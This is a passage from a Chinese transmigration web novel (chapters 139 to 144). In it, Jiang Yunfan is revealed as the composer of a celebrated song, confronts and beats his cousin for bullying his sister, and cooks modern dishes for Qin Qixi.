今日来到这秋思客栈,一字不差地翻唱出来不说,就连那七弦琴每一拍的旋律,都能完美复刻!
江云帆是真想把这妹子拐去替前世的自己参加高考。
除此之外,秦七汐的琴技唱功,也称得上绝对的完美。这首歌最终达成的效果,比昨晚还要好上许多倍!
只是江云帆不太明白。
她当众演奏这首词曲,顺道还为自己赚取了将近三千点情绪值!
为了什么?
总不可能,只是单纯地喜欢这首歌,所以忍俊不禁想要在所有人面前表演一番。
江云帆隐隐有种不太妙的感觉……
第139章 为江云帆正名
被这首《水调歌头》所震惊的,自然不止江元勤一人。
客栈大堂,在场安静了许久的文人才子们,也在那道尾旋律消散之后,迅速沸腾起来。
“这首词曲,不正是昨晚花市口歌舞会上,轰动全城的那首神作吗?”
“没错,昨夜我去现场听了,与今日这一般无二!没想到换个人唱出来,竟然有全然不同的味道,这真是……太过震撼!”
“我敢打赌,此歌此曲,足以问鼎整个大乾乐界!其词作者,也必然能力压一众大儒!”
这一次的呼声,可比先前声讨江云帆时要高上不少。
一调高过一调,险些把客栈房顶的木梁都给掀翻!
而位于西窗边缘的陈子钧与吕家三姐弟,同样像是被定在了原地一般,纹丝不动。
他们也是第一次听到这首词曲。
尤其是陈子钧,他连呼吸都停掉了,满眼都写着不敢置信。
他觉得不可能。
如此远离凡尘的惊天之作,怎可能诞生在江南,在镜源县这样的穷乡恶土?
连帝京都找不出这样的作品来,镜源县却出现了,这显然属于不合理的存在!即便是他也很好奇,能谱下此曲,写出此词的人,究竟是何方神圣?
“翩翩,你怎么看?”
立于二层环廊边缘的齐之瑶与翩翩二人,方才全程听完了整首词曲。
此时此刻两人的脸色都不太好看。
翩翩那带着北域风情的面颊,更是变得有些泛白。
“是她。”
她面无表情,声音低沉道,“这声音,我不会记错。”
翩翩当然不会记错!
昨夜那句“江公子随我去”,不带一丝商量余地,可谓十足的居高临下,蛮横霸道。直到此刻,那声音都还回荡在她耳边,久久不散。
有一种蒙上了阴影的感觉。
“许是昨夜分开后,江公子私底下将此曲教给了她。”
齐之瑶开口回应道,“翩翩,有她在,你若想找到与江公子独处的时间,恐怕有些困难了。”
“无妨,就算是等到深夜,我也等……”
翩翩说到这里,忽然眼神一亮,“对了,她恰好现在此时奏响这支曲子,目的为何?”
齐之瑶也瞬间明白过来:“方才江元勤正在煽动客人,贬低江公子……这是要为江公子正名啊!”
“我下去一趟。”
翩翩果断转身,提起裙摆,快步朝着楼下跑去。
……
片刻之前,客栈后门。
就在江元勤带头声讨江云帆之时,白瑶恰好从此处出门,到湖边的小菜地里,采了些香葱。
待她返回,又在后院遇见了原地踟蹰的杨文炳。
这人来了许久,先前还委托自己帮忙找来江云帆,两人聊了许久。
而眼下算起来,这人已经在此等了至少两柱香的时间。
白瑶从一旁路过时,开口规劝道:“眼下已至正午,公子若不介意,不如到前堂去,客栈有免费的茶水。”
杨文炳顿了顿,不自觉地摸了一把有些空响的肚子。
犹豫片刻,还是摇头道:“多谢好意,不过好友让我就在此处等候,嗯……便不去前堂了。”
尽管肚子确实饿了,也很口渴。
但正因为彦公子没有开口让他去前堂,所以他才一直等在这里,来回踱步。
白瑶自然看出了他的顾虑。
但一想到,眼前这男子特意来寻江云帆,那自然是江云帆的朋友,既如此,她肯定没有把人家晾在后院的道理。
小帆也真是的,估计是怕自己的朋友到了,会给客栈带来不便,所以才让人家待在后院。
想到这,白瑶连忙道:“不用推辞了,我是客栈的老板娘,我说了便算。公子且去前堂落座,我会让他放下手头的活计,来陪你一会。”
“真的?”杨文炳顿时眼睛一亮。
正找不到理由占用彦公子的时间,却是没想到,老板娘居然愿意帮忙。
“自然是真的。”
“多谢老板娘!”
得到肯定的答复,杨文炳当即喜笑颜开,一溜烟跑去了前堂。
白瑶无奈摇头。
小帆这家伙,想必是不愿为了照顾朋友而耽误干活。
真是个死脑筋!
然而,白瑶和杨文炳都不知道,他们嘴里说的明明是同一个人,却不是同一个名字。
待白瑶提着菜篮穿过后院,从小门迈入后堂时。
却发现走在前方的杨文炳,正木讷地站在原地。
她正欲开口询问,却忽闻空中一阵悠扬的琴声……紧随其后的,还有一位女子的歌声。
那声音,仿佛为这客栈,绕上了团团空灵。
好听!
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白瑶也呆住了,她是平民出生,听曲品乐这种享乐之事,可以说从来没有体会过。
就算听过琴曲,也只在路过乐坊时远远浅闻。
而现在,这琴声与歌声仿佛就从头顶传来,无比清晰……
白瑶就这样默默站在原地,直到那琴曲彻底落下尾声。
但也就是在这一刹那,前方的杨文炳忽然脚下生风,如离弦的箭一般冲进了前堂。
白瑶不解,连忙跟了上去。
刚一踏入大堂,便听闻一阵嘈杂的惊呼声,那些客人一个个表情兴奋,嘴里都喊着什么“天降仙词”、“人间绝品”。
儿在高台之上,昨晚旷工的小李不知何时出现了,手里正拿着路旁的立牌。
在他旁边,那个让人讨厌的江元勤,此刻正跪倒在地。
就在此刻,忽然一位身着粉色襦裙的女子,在众目睽睽之下,一步一步登上那高台……
“翩翩姑娘!”
不知是谁喊了一句,台下众人立马沸腾起来。
“居然是翩翩姑娘,她怎么会在这里?”
“太好了,昨晚歌舞会上姑娘早早离开,惹得小生我好不惋惜,没想到今日还能再见!”
“诸位,昨夜这首词曲,不正是在那位公子受翩翩姑娘邀请登船后,方才问世的吗?”
“敢问翩翩姑娘,那位公子现在何处!”
天降仙词,与享誉全县的花魁姑娘结合在一起,所以堂中的喧哗声,在这一刻几乎达到了顶峰。
他们本是来此寻那首《桃花庵歌》的作者。
却没想到,结果令**失所望。
但却出乎意料,见到了翩翩姑娘,说不定还能因祸得福,见到歌舞会上那首仙乐的缔造之人。
此时此刻,就连满心惶恐的江元勤也抬起头来。
翩翩距离他不过五步之远,在他眼里,这绝对是一位人间罕见的美人。
但眼下他完全没有心思欣赏这份美。
所关心的,也同台下人一样,便是这首词曲的作者,究竟是何人!
“刷——”
翩翩轻抬素手,场内瞬间安静。
紧接着,她红唇轻启,一字一句开口道:“各位大人,小女子此番登台,正是要公布那作词谱曲之人的身份……”
“他便是你们方才指责咒骂的凌州江家三公子——江云帆!”
……
第140章 昨晚没有彦公子,只有江云帆
凌州江家三公子,江云帆!
江云帆?
此刻全场针落可闻。
方才一个个翘首以盼,等待着翩翩姑娘说出答案的众人,一时反应不过来,尽皆愣在原地。
尤其是江元勤。
他依旧保持着双膝跪地的姿势,浑身僵硬绷紧,呼吸长久停滞。
他无法接受。
昨晚有人告诉他,那首《桃花庵歌》是江云帆写的,那也便罢了。
可今日,又有人告诉他,那首堪称惊天动地的词曲,也是由江云帆所创!
这怎么可能啊?
难不成,这十几年来自己所认识的江云帆,就是个假的江云帆!
或者说这么多年他一直在藏拙?
不,一定不是这样,一定不是!
江元勤全然不知自己已经急得眼红。
他把一双眉毛都拧成了一条麻绳,目光看向翩翩时,连脖子都是歪起来的。
“姑娘,你真不是被人给欺骗了?”
他颤颤巍巍站起身来,用力伸出一根手指向上,神情悲愤,“你可知那江云帆过往种种,说他愚蠢如牛都不为过!且不说他修**琴乐,半年不识琴弦,光是这曲中之词,他几辈子都写不出来,他凭什么当得这个作者?”
“对啊,他凭什么?”
台下的陈子钧也连忙起身附和,“他若真有这样的大才,又怎会被家族驱逐出门,怎会沦落到这小小的客栈,当个跑腿的小厮?”
他与江元勤一样,都是最不想看到江云帆出彩的人。
因为就在先前,江云帆出手维护白瑶的时候,他就已经看出来了,这小子是白瑶如今依靠的男人!
尽管当初是自己一纸休书断掉白瑶,但陈子钧依旧很讨厌有别的男人出现在她身边。
所以,他恨江云帆!
翩翩回头看了两人一眼,随即再度面朝台下:“我只相信自己所看到的江公子。昨夜歌舞会,是他登上了我的花船,并当着我的面,奏出了这首‘明月几时有’,难道这能有假?在此之前,有谁在他处有听闻过此曲?”
“所以,你们口中的江云帆是什么样子,并不重要。我只确定一点,无论我翩翩身在何处,江公子都是我永远的贵客!”
此话一出,台下众人终于回过神来。
一时间喧嘈四起,有人支持翩翩,也有人支持江元勤,前者多是仰慕者,后者基本是不愿接受废柴少爷一鸣惊人。
真相似乎都不再重要。
还有保持中立的,此刻已经闭上了嘴。
他们是来寻找诗文作者的,目的无非是想向对方讨教一些学问,或是打好关系,以利前途。
与别人争个谁对谁错,显然没必要。
而这时候,一直呆立在大堂后门口的杨文炳,却陷入了茫然。
昨夜在歌舞会上,他明明听到了彦公子的声音,可为何那创曲作词之人,会被说成是江云帆?
难道说,江云帆与彦公子……是同一个人!
杨文炳越想越迷糊。
可许灵嫣口中的江云帆,吊儿郎当一无是处,与自己所见温文尔雅的彦公子,根本就是两个极端!
对了,许灵嫣!
她现在应该也在客栈,找她确认一下。
想到这,杨文炳没再犹豫,果断快步走入大堂,开始四下寻找许灵嫣的身影。
……
“小汐,你告诉我,这到底怎么回事?”
秋思客栈二楼往上,在靠近镜湖的一面,还能通过一段楼梯,登上一方特地用来观景的平台。
原本许灵嫣待在一楼大堂中,正听着江元勤揭露江云帆的种种劣迹,心情大好。
她甚至都开始计划,要去找到江云帆,让对方也尝尝自己这些天来受过的憋屈。
可那琴声好巧不巧地响起。
紧随而来的,还有秦七汐那洗涤心灵的歌声。
昨晚之后,许灵嫣将那首词看了很多遍,越看越喜欢。
但她也清楚,如果彦公子本人不现身,那她也只能观词,再无机会听曲了。
可谁知,秦七汐竟将词曲乐调完完整整地记忆了下来!
许灵嫣的内心当然是激动的,所以她顺着琴声,连奔带跑赶来此处,果
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然见到了刚刚收好七弦琴的墨羽,和正转身离开的秦七汐。
情急之下,她连忙上前,又随秦七汐的脚步一同往回走。
“小汐,你昨天也在现场,对不对?”
“你看见彦公子的样子了,对不对?”
“小汐,他到底是谁,他现在到底在哪里?你告诉我,我真的很想见他!就算只有一面,哪怕只有一面也好!”
“小汐……你告诉我啊!!”
此时此刻,许灵嫣早已收束不住自己的情绪,甚至那通红的双眼之中,已经有晶莹的泪珠跌落。
这一刻,是她觉得自己距离彦公子最近的一次。
从她在杨文炳口中,听到那句“一道残阳铺水中,半江瑟瑟半江红”开始,那颗心就被彻底触动了。
谁又能想象,以一颗躁动的心,去面对“众里寻他千百度”,去面对“但愿人长久,千里共婵娟”,却无论如何也寻不得相见之人,会是一种多么可怕的煎熬!
许灵嫣她压抑太久了!
从小到大,她都活在那一纸婚书的阴影里,她知道那婚书会剥夺她所热爱的东西。
越是摆脱不了,便越是渴望有一句诗,或是一个人,能将她牢牢勾紧。
现在诗来了,犹如山崩海啸。
而她,也彻底摆脱了那纸婚书,摆脱了江云帆。
可却无论如何也寻不到那个人……
“小汐,你告诉我啊……”
湖面微漾,清风拂来,卷动许灵嫣额前的发梢,在湿润泛红的脸颊上轻抚而过。
秦七汐在这一刻停下了脚步。
“昨晚没有彦公子。”
她没有回头,也没有侧目,再度迈开双腿之时,风中只留下那轻飘飘的几个字:
“……只有江云帆。”
轰——
九天惊雷,在许灵嫣脑中轰然炸响。
一股无穷无尽的黑暗瞬间将她包裹。凉意袭遍全身,她无法站稳,跌跌撞撞地连退数步,直到“砰”地一声撞上立柱。而后身体一软,瘫倒在地……
怎么会……
怎么会这样?
第141章 让你哥滚出来!
客栈二楼,凌波阁。
长空灰白,远山如幕,湖风自窗口吹入屋内,清凉阵阵。
此刻的包厢里,只剩下两人。
江滢已经被支走,江云帆担心后厨忙不过来,让她去帮些小忙。
并千叮万嘱,让她没事不要往前堂跑。
那里太乱!
此刻沈远修正坐在茶桌前,皱眉深思,一言不发。
而让江元勤恨之入骨,又让许灵嫣惶恐不解的江三少爷,则满脸愁容地背靠着窗棱,比沈远修还沉默。
没办法,三少爷心里苦啊!
他本来还在感谢江元勤,感谢他费心费力,让自己坐实那“废物”的名号,避免受到太多的关注。
可谁又能想到,这翩翩姑娘,却和那位财神妹妹打了个配合,一曲《明月几时有》,再一次把他推到了风口浪尖。
江云帆清醒得很。
若当真坐实了歌舞会词曲作者的身份,往后再想要过自己的清净日子,怕是不太容易了。
这不,坐在茶桌前的沈远修,此刻抬起头来,看向他的眼神都变了。
从一开始的欣赏,变成了现在的恍然。
“江公子……好词啊!”
当然是好词!
沈远修钻研词道多年,阅尽古今名作千万。
可还从来没有哪一首,能如方才空中飘荡的这首词一般,带给他无穷无尽的震撼。
与诗不同,词文正是沈远修毕生所钻研的学问。他在其中的造诣颇深,曾几何时,甚至被誉为江南唯一的“词圣”。
可如今一想,他忽然觉得自己这个“词圣”是多么的可笑。
那些耗尽自己毕生所学,最终凝结出来的词句,在近日相继而出的这两首惊世之词面前,算得了什么?
算那沧海一粟,渺小卑微。
“是啊,确实是好词好曲!”
江云帆一脸正色地应道,“刚才抚琴诵乐之人,是秦小姐吧?不得不说,那琴声歌声,是真的好听!可惜我才疏学浅,不太明白那词中的含义……”
沈远修:“……”
好,又演起来了。
沈远修早有那种感觉,别看江云帆表面大大咧咧,说话也坦荡自然。
可你永远也别想猜透他话中的含意,更猜不透他心中所想。
索性,沈远修直接拒绝那些弯弯绕绕,果断开口直言:“江公子,老朽知道,这词曲正是出自你手!”
来时秦七汐跟他卖了个关子,说昨夜等会上,江公子也有妙作问世。
沈远修也是万万没想到,这妙作竟然妙到了这种地步!妙到他瞬间自惭形秽,自觉枉称词人!
“沈先生还是太过抬举我了。”
江元勤依旧一副什么都不懂的模样,“您看,我江云帆生平事迹,凌州城内人人皆知,何来赋词作曲的能力?”
“……”
沈远修沉默半晌。
诚然,他确实知道这一点,更不会怀疑多数人的眼睛,江云帆从小到大,也许真的学无所成。
可他更不会怀疑自己的眼睛,他所看到的江云帆,行为,想法,觉悟,都称得上前所未有的一位奇男子!
为何会形成这种巨大的差别?
沈远修猜测,或许真的是三个月前那天空异象,得到了应验。
一位足以颠覆整个大乾文坛数百年格局的少年,在镜湖水泽的湾岸处,诞生了……
而眼下,沈远修就只有一个想法。
那便是大乾需要江云帆,南毅王府也需要江云帆!
无论如何,他要想办法把江云帆邀去怀南城,哪怕付出再大的代价,也要让对方成为能助力王爷大业的力量。
不过沈远修也清楚,自己所能提供的,无非是财富,声明,地位……这些东西都打动不了江云帆。
或许,得换个其他的路子……
“咚咚——”
就在这时,凌波阁的屋门被敲响了两声。
紧接着,一袭儒生装扮的秦七汐,领着背负长琴的墨羽走了进来。
沈远修顿时眼睛一亮。
如心所愿,其他的路子这不就来了吗?
他顺势
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站起身来,朝江云帆满怀歉意一笑:“江公子,失陪一下,方才饮茶太多,老夫去净个手,让我这小书童稍代作陪。”
江云帆点头回应,起身目送沈远修离开。
待收回时,恰与秦七汐四目相对。
江少爷当即竖了个大拇指:“秦小姐的琴乐歌声,实在是悦耳动人!”
秦七汐轻轻一笑:“江公子若是感兴趣,午后可一同前往三号码头的王府楼舫,那船上有把金楠琴,我愿再为公子抚曲几首。”
好一个盛情邀请。
看着财神妹子那一脸人畜无害的表情,江云帆都有种一口答应下来的冲动。
但理智还是让他稳住了情绪。
“客栈事务繁忙,我还是不去了。”
江云帆转移话题道,“对了,说好要让秦小姐尝尝我们的新菜品,不如小姐稍作等待,我去趟厨房。”
听闻此话,秦七汐顿时眉头一皱。
眼神中明显带着几分犹豫,似乎是怕江云帆跑了之后,就再也不回来了。
毕竟,今日这客栈中闹得火热,所有的话题都围绕着他一人。
以秦七汐对江云帆性格的了解,他还真做得出逃之夭夭这种事。
不过江云帆也觉察到了这一点,连忙解释:“小姐放心,我只是去做个菜,片刻便回。”
“嗯……好吧。”
得到同意之后,江云帆果断出了凌波阁。
秋思客栈上下二楼的木梯,除了正中间的位置,还有一条位于客栈最东侧的狭角中。
这里很少有客人知道,所以江云帆为避免被人看见,便偷偷摸摸从此处下了一楼。
再穿过一条通道,恰好绕到了客栈后院。
然而,就在他准备迈步踏入厨房时,却在不远处的角落,看见了两道十分熟悉的身影。
一男一女,女的身形瘦弱,正被男的堵住去路。
“野种,我再给你最后一次机会!”
“让你哥给我滚出来!”
只一瞬,江云帆目眦欲裂。
是江滢!
第142章 准备回江家
是江滢!
那一身孱弱病态的模样,江云帆当然第一眼就认了出来。
而将她堵在墙角不让离开的男人,自然就是江元勤。
此刻江元勤像是受了莫大的刺激,整个人情绪失控,浑身都在颤抖。他用手指着江滢的额头,声音也充满暴虐。
“野种!”
“别以为我不知道,你是江朝北与北漠娼妓所生,天生贱骨!”
“江家能留你,已是莫大的恩赐,你胆敢不听从我的命令,我随时都能让你这野种露宿街头!”
那一声声野种落在耳中,格外刺痛。
江滢早已泪流满面,发丝粘在脸上,一片凌乱。
她来回摇着头,身体不断往后退,但很快便靠上了墙角,退无可退。
“一个野种,一个废物,你们二房这一脉,根本就不配姓江!”
正骂着,江元勤忽然将手臂高举,作势要一巴掌拍下来。
江滢抬眼一看,那种缠绕了多年的恐惧与**,瞬间涌上心头……
可就在那巴掌挥下之时,一只手突然从江元勤身后伸出,一把抓住那举起的手腕。
江元勤正用力,却发现手臂被牢牢钳住,分毫无法移动。
他转头一看,当即怒目圆瞪。
“你……”
“啪!”
一道响亮的拍打声,传遍整个客栈后院。
而江元勤已经送到嘴边的话,也戛然而止。
他那眼睛瞪得更大了,甚至整个人都呆在原地,呼吸停滞,一张脸上逐渐浮现出一道清晰的五指印。
“你……你敢打我?”
他敢打我?
他敢打我!
江元勤完全懵了,脑子里仿佛正传来震耳欲聋的轰响,好像整个天地都在崩塌。
他从来没想过会有眼前这一幕发生。
这个懦弱又无能的废物,每次被自己推进泥坑里,都只能乖乖按照指示撒泼打滚学狗叫,哪怕泥浆糊进眼睛里也不敢停。
可怎么会……有一天,这个废物居然敢打他的脸!
“江云帆,你这……”
“啪!”
又是一记狠狠的耳光,江元勤的话被直接拍死在了腹中。
这是江云帆今天第二次**。
他一向不喜欢动手解决问题,但无论是骚扰白瑶的陈子钧,还是欺凌江滢的江元勤,每一次他都忍无可忍!
没错,江云帆不是什么大爱仙尊,来到这个世界,所追求的也不过是让自己过得舒服。
可他做不到冷血,做不到眼睁睁看着那些帮助过自己的人在面前受到欺压,而无动于衷。
“刷……”
此刻江云帆早已红了眼。他伸手抓住江元勤胸口的衣襟,并用力横向一拉,拉着对方绕自己转了个半圈。江元勤身形不稳,只得快速蹬着双脚以保持平衡,这也导致他的动作十分狼狈。
江家二房之所以能成为将门,与江朝北体型魁梧有莫大的关系。
而江云帆这具身体,虽不似那般健硕,却完全不亏身高。比起江元勤,至少高出了大半个头。
再加之江云帆每日锻炼,而江元勤只泡在书斋里,所以两人的力气差距不是一般大。
当江元勤被拎在手中甩的时候,就像小鸡仔一般。
所以此刻江家二少爷气得满脸通红,嘴上愤怒更甚:“江云帆,你这废物居然敢打我!”
江云帆抬腿一脚踢上去,踢得江元勤一个倒栽跌倒在地。
“呃啊……”
剧痛之下,后者死死捂着肚子,整个人蜷缩起来。
江云帆回头看向江滢。
江滢懂得他那眼神的意思,连忙摇头:“哥,我没事。”
“走。”
江云帆一把抓起她的手,牵着便往厨房的方向走去。
路过江元勤时,又狠狠补上一脚。
“砰!”
“江元勤我告诉你,滚回你的江家去,以后若再敢出现在我面前,见一次打一次!”
说完,头也不回地走入客栈。
这一刻,江云帆感觉到前所未有的轻松与畅快,仿佛是做了一件这具身体一直想做却又不敢做的事。
刚才那两脚两巴掌,比之前打陈子钧时更用力!
他打江元勤,既是为了江滢。
也是为了那个从小受尽折磨,受尽**,最后在乱棍之下死在那个雨夜里的少年……
“你给我等着,废物,我饶不了你!”
江元勤的怒吼声仍旧从身后传来,但明显比之前虚了不少。
江云帆也没再搭理,只拉着江滢来到后堂,找来一把空闲的木凳让她坐下休息。
“哥……你动手打了他,他一定不会善罢甘休的,
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怎么办?”
此时江滢眼里的担忧,已然满溢了出来。
不过江云帆却是一脸平常:“不用怕他,我自有办法。对了滢滢,你之前说,阿婆身体不好,想让我回去看看对吧?”
“……嗯。”
尽管犹豫,但江滢还是点了点头。
江云帆果断敲定:“那就明天吧,明天一早就出发,看完阿婆,你也随我一起回来。”
江滢迷惑了。
她不太明白,哥哥明明才打了江元勤,为什么敢主动回江家去的?
而且阿公的禁令还在,哥哥一旦踏足江家大宅,就会被乱棍打出,这样贸然前去,很可能会遇到危险。
不过思来想去,她决定相信哥哥。
以前从未有过这种感觉,但就在近几日,江滢在和江云帆待在一块时,总有一种绝对的安全感。
而且,她总觉得哥哥说的话不会错。
……
安顿好江滢后,江云帆很快就平复好了情绪。
他来到后厨,拿出昨日从神秘礼包里开出来的“老干妈”,以及提前准备好的一瓶生抽酱油。
再配以精盐作为调料,做了一道木耳炒肉片,以及一道麻婆豆腐。
江少爷的厨艺不算精,也就炒炒家常菜,勉强能吃的水平。
不过当两道菜出锅时,那种不属于这个世界的奇香,依旧迅速飘满了整个厨房。
嗯~熟悉的味道!
“小江!”
就在这时,后厨老林与负责准备食材的王婶瞬间被吸引过来。
“小江啊,你这做的是什么菜,怎么会这么香……咕咚。”
“云帆,林叔平时没少在你饭里加鸡腿吧?怎么藏了这两手,不打算跟叔探讨一下?”
【叮!叮!】
两道提示音响起,江云帆当即收获共计120点情绪值。
这倒是让他很意外,林叔和王婶的奖励倍率很低,很多时候甚至会提供个位数的情绪值。今日直接来了120,看来这震惊还得专业对口才行。
“这两个菜,是给客人准备的,回头我再做一份给你们。”
“好,一言为定!”
江云帆摆摆手,也不再逗留,直接顺着小楼梯上了二楼。
现在,美食已经准备好。
是时候去找财神爷妹子,讨点好处了……
第143章 乘我的电驴儿去吧
在江云帆回到二楼凌波阁时,秦七汐正守着窗口,眺望远处的桃花山。
那成片的桃林,虽然色泽暗淡了些,但总归是枝繁叶茂。粉色的花瓣绵延环绕,恰恰为这灰黄的天地添上了一抹亮色。
在南毅王府的花园里,也有一片晚桃林。
那是父王特地为母妃种下的,每年花开时节,绚烂遮眼,馨香更是弥漫整个王府。父王会命人日日修剪,让每一株桃树都维持在最好看的样子,至今不曾断歇。
就好像从来都不知道,那桃花已经无人在赏。
许是听到了脚步声,秦七汐逐渐回过神来。待转头看,发现江云帆已经端着菜盘走到了桌边。
墨羽并未通报,反倒是跟在后面一同走了进来。
随即,反手将门关上。
秦七汐正不解,却见墨羽一脸严肃地说道:“小姐,这菜您藏着吃,别让味道飘出去了。”
“啊?”
秦七汐轻皱秀眉,但下一瞬,便闻见一股奇香飘来。
那味道……
小郡主当即愣在原地。
那味道当然是来自江云帆手里的两盘菜肴,只是秦七汐怎么也想不到,那两盘菜明明用的都是很常见的食材,木耳、莴苣、豆腐,在王府的厨房里都只能算做下等菜。
但正是这些普通的食材,却**云帆做得如此喷香!
这手艺之精湛,即便是跟随父王几十年的一等老厨洪叔,也完全做不到。
此时她终于明白,墨羽为什么要把门关上了。
如此香味若飘出门去,被老师给闻见,以他的嘴馋程度,必然是要死皮赖脸来分享的。
“江公子,这菜……”
“这就是我说的新菜品,秦小姐坐下来尝尝?”
江云帆把两盘菜摆好,又在桌面放上一杯润肚茶,再打上一碗米饭,添上筷子。
“好。”
秦七汐早就蠢蠢欲动了。
为了品尝江云帆这一口新菜,她连早饭都没有吃多少,特意把空肚子留到了现在。
这会收到江云帆的邀请,便再也克制不住冲动,三两步走到桌边,一屁股坐在椅子上。
近距离看那两道菜,秦七汐发现其色泽比起平时的菜肴,都要暗淡一些。
不过她也没有多想,拿好筷子之后,夹起一块木耳和肉片,“嗦”的一下放进嘴里……
“!”
只一瞬,她便瞪大双眼呆滞当场。
那美妙的味道,仿佛有一千种,一万种,每一种都带着无法言说的香浓,顷刻间便穿过舌尖上的每一个味蕾,甚至感染到全身。
有盐,但却比王府用的细盐更纯粹。
似乎还有香料,看似只有一种,却带着无数种味道。
秦七汐无法描述这样的滋味,更说不出它像什么。
只知道一点,那就是自己平生尝尽山珍海味,吃过王府老厨做的菜,也吃过皇宫御厨做的菜,但无论是哪一种,都远不及眼前这小小一盘木耳肉片半分美味!
她不禁遐想。
若是往后天天都能吃上江云帆做的菜,那得是多快乐的一件事!
……
【叮,震惊达成,来自秦七汐的情绪值:+578!】
漂亮!
江云帆站在一旁都忍不住笑了。
果然,要想以最快的速度赚取情绪值,认定秦七汐准没错!
毕竟高达50倍的奖励倍率,真就堪比一头产量丰富的大奶牛,挤一下爆一下。
想到这江云帆立马走到秦七汐侧后方,当起了小侍童。
“秦小姐,再试试这个,下饭。”
他用勺子舀了一勺麻婆豆腐,放进秦七汐碗里。
小郡主明显顿了一下。
这还是第一次有男子为她舀菜,这种感觉……很奇妙,很不适应。
但秦七汐十分清楚,那就是自己的内心并不抗拒。
她顺势端起碗,将米饭与豆腐,一同刨进口中。二者很快便混成一团,味道相互融合,弥漫整个口腔。
又一道绝世美味!
果然如江云帆所言,这新菜十分下饭,秦七汐的筷子根本就没停。
不过片刻,两大碗白米饭便被消灭干净。
秦七汐摸着平坦的小腹,嘴角带笑,一脸满足。
江云帆也很满足,因为他又收到了来自秦七汐的几百点情绪值。
短短几分钟,过千情绪值入账,这效率简直是他以前从未想过的。
此时此刻,算上先前秦七汐弹琴吟曲震惊全场,为他赚来的三千余点,江云帆的情绪值总量再次来到了几近5000。
算得上小富!
“江
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公子,谢谢你的新菜品,我很喜欢。”秦七汐温婉一笑,甚至起身朝江云帆稍稍行了一礼。
江云帆自然是微笑应对:“秦小姐太客气了,咱俩之间,谈什么谢?”
咱俩之间?
秦七汐有些愣,这话的意思难道是指,两人的关系,已经算得上很好了吗?
“谈谢,不如帮我一个忙来得实在。”
“……”
秦七汐满脸无语,看来还是自己想得太多了。
不过,既然江云帆有需要自己帮忙的地方,她自然不会推辞:“江公子请讲,我一定全力去做。”
“也不是什么大事,就是想向你……借墨羽姑娘用一下。”
“用一下?”
此话一出,不仅当事人墨羽满脸茫然,秦七汐也锁紧了眉头。她有些迟疑,但还是支支吾吾地开口:“要……怎么用?”
见财神爷这副表情,江云帆大体是猜到她想歪了。
于是连忙笑着解释:“我看墨羽姑娘一身侠气,英姿飒爽,定是武道高手。正好我明日有事,所以特借墨羽姑娘,护个周全。”
明天要回江家,不知过程是否凶险。虽然有强身健体丸,但尚且不知效果如何。
所以江云帆还是考虑带个打手,有备无患。
“小姐,明日我们要回……”
墨羽拒绝的话才说到一半,便被秦七汐一个眼神阻止。
小郡主看着江云帆,微微一笑:“江公子要借墨羽,小女子自然同意,不过公子还需手持令符才行。”
“令符?”
“没错,墨羽其实不归我管,手持令符,就能让她听从命令。”
听到秦七汐这话,墨羽一脸疑惑。
她怎么没听过什么令符?
一直以来,自己不都是对郡主唯命是从的吗?
不过没有秦七汐的指示,她也未敢开口。倒是看那江云帆似乎信了,正一脸好奇:“不知那令符现在何处?”
“在南毅王府的楼船上,公子不如随我一同去取。”
秦七汐的嘴角,浮现出一抹浅浅的笑意。
墨羽好像看明白了。
郡主这是要把江公子引诱上船啊!
“好!”
江云帆当即拍板,“坐我电驴儿去吧!”
“电驴儿?”
……
第144章 妄图瞒天过海
秦七汐还从未听说过电驴儿这种东西。
她本以为是自己久居王府,不知俗间之事,可在转头看向墨羽时,发现一脸茫然的原来不止自己。
墨羽也很无奈:“小姐,驴我倒是知晓,形似骏马,头大耳长,可这电驴……着实未曾见过。”
从偷偷潜入江云帆家中到现在,其实很多时候,墨羽都觉得这人得用“离奇”两个字来形容。
感觉在他身上发生的每一件事,都不符合常理,甚至根本就不应该存在于这世间。
此时见两人疑惑,江云帆开口解释道:“电驴是个什么驴不重要,能助人赶路就行了,秦小姐不妨随我去看看。”
“好。”
秦七汐立刻点头答应下来。
从小到大,她连乘马的机会都很少,今日倒很想体验一下江公子的电驴儿。
三人一同出了凌波阁,同样由从东侧的木梯下楼。
来到后厨,江云帆与江滢交代了两句,又去湖边寻等候已久的杨文炳,奈何对方不知何时已经离开。
本想再找白瑶报个备,却半天寻不到对方人影,也不知躲哪去了。
没办法,他只得做好计划,此去王府楼舫不过二里路程,待取了令符再回来,刚好能赶上客人用餐完毕,客栈最忙碌的时候。
领着秦七汐和墨羽从后院小门出发,再穿过一片树林,正好抵达外面的大道旁。
此刻客栈外行人稀少,早晨送那些公子小姐到此的马车,则顺排停在了远处的林间空地上。
江云帆本以为从小路离开,可以绕过大堂众人的视线,也能避免遇上沈远修,或是许灵嫣和齐之瑶等人。
却不曾想,总有人会难以避免地遇上。
就在江云帆让秦七汐二人在路边稍作等待,自己步行前去骑车的时候。
恰好遇见了正从客栈大门走出来的陈子钧和吕家三姐弟。
“阿姐,尚未等到先生,为何如此匆忙离开?”
“文睿你还不明白吗?”
吕兰萱尚未答话,倒是陈子钧先行说道,“那个江云帆,不过是个欺名盗世之徒,他有什么资格当得我吕家二位公子的老师?随他修学,只会害了你们!”
“姐夫你是被那个江元勤给骗了。”吕文睿一脸坚定,“先生琴技出神入化,才华卓绝,早晨我与向明在湖边亲眼所见,还能有假?”
“文睿!”
就在这时,吕兰萱终于开口了。
她看向两位弟弟,眼神极为严肃:“实话告诉你们吧,就算他确有真才实学,父亲也绝不可能容许你们拜一个名声恶臭,还被家族驱逐出门的人为师,懂了吗?”
“这……”
两兄弟同时锁紧眉头,面色深沉。
诚然,吕家在京城也算得上有头有脸,父亲很爱面子,绝不容许他们做出任何损害家族名誉的事。
但吕文睿和吕向明依旧不甘心。
一想到湖畔那个坐于亭下,迎着天光,沐浴湖风,潇洒自得地拨弄琴弦的身影,他们的心里就越发坚定,那就是自己渴望成为的样子。
说来也巧。
有的人一生都在经历事与愿违,而有的人却总万事顺意。
就好比现在,吕文睿和吕向明正想着江云帆呢,一抬眼便在前方的路口处见到了那个熟悉的身影。
“先生!”
两人哪里还管得阿姐的教诲,脚下一阵风便冲向了江云帆。
“哈哈先生,没想到能在这里遇见你,实在幸运!”
“幸亏我们出来了,不然就得错过。”
两兄弟一个比一个笑得开心,但江云帆却是无奈得紧。
如果不是实在躲不过,谁又愿意遇见你们呢?
吕文睿郑重抱歉:“先生,方才客栈之中那首琴曲,当真是美妙绝伦!而在得知其乃是由先生所创之后,我二人对您的景仰之情,更是有如那滔滔江水,绵延不绝……”
